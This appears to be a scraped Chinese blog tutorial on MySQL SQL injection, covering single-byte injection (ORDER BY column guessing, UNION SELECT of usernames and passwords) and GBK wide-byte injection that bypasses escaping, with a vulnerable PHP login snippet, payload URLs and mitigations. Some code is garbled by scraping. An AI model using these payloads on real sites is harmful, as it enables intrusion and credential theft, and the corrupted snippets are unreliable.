专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »数据库 » mysql注入:MySQL中SQL的单字节注入和宽字节注入 »正文

mysql注入:MySQL中SQL的单字节注入和宽字节注入

来源: 发布时间:星期三, 2009年4月1日 浏览:5次 评论:0


  、单字节SQL注入

  MYSQLSQL注入已经由来已久以下是普遍采用注入步骤:

  1、在GET参数上加个/*或者#(mysql专有注释)判断数据库是否是mysql比如:

  http://www.xxx.com.cn/article.php?id=1607 and 1=1/*

  2、猜解某表字段数从order by 1直更改到页面出错为止就可以得到该表字段数

  注入URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#

  对应SQL: select * from articles where id=1607 or 1=1 order by 10#….

  3、使用该表和用户表进行关联查询在文章列表里就可以看到用户名和密码了当也要猜解用户表表名和用户名、密码字段名比如上步得到字段数是5:

  注入URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select username,password,1,2,3 from user

  对应SQL: select * from articles where id=1607 or 1=1 union select username,password,1,2,3 from user

  这样就可以在界面上看到用户名和密码了

  解决思路方法:

  过滤数据:这并不是罗唆在合适地方使用良好数据过滤可以减小多数安全隐患甚至可以消除其中部分

  将数据用括号包含:如果你数据库允许(MySQL 允许)在 SQL 语句中不论什么类型数据都用单引号包含起来

  转义数据:些合法数据可能在无意中破坏 SQL 语句本身格式使用 mysql_escape_ 或者所使用数据库提供转移如果没有提供这样addslashes 也是不错最后选择

   2、宽字节注入

  宽字节注入也是在最近项目中发现问题大家都知道%df’ 被PHP转义(开启GPC、用addslashes或者icov等)单引号被加上反斜杠\变成了 %df\’其中\十 6进制是 %5C 那么现在 %df\’ = %df%5c%27如果默认集是GBK等宽字节则MYSQL用GBK编码时会认为 %df%5c 是个宽也就是縗’也就是说:%df\’ = %df%5c%27=縗’有了单引号就好注入了比如:

   $conn = mysql_connect(”localhost”,”root”,”2sdfxedd”);
mysql_query(”SET NAMES ‘GBK’”);

mysql_select_db(”test”,$conn);

$user = mysql_escape_($_GET['user']);

$pass = mysql_escape_($_GET['pass']);

$sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”;

$result = mysql_query($sql,$conn);

while ($row = mysql_fetch_.gif' />($result, MYSQL_ASSOC))

{$rows = $row;}?>

  则通过以下注入即可:

   http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=
  对应SQL是:

   select * from cms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”
  解决思路方法:就是在化连接和集的后使用SET character__client=binary来设定客户端集是 2进制如:

   mysql_query(”SET character__client=binary”);

0

相关文章

读者评论

发表评论

  • 昵称:
  • 内容: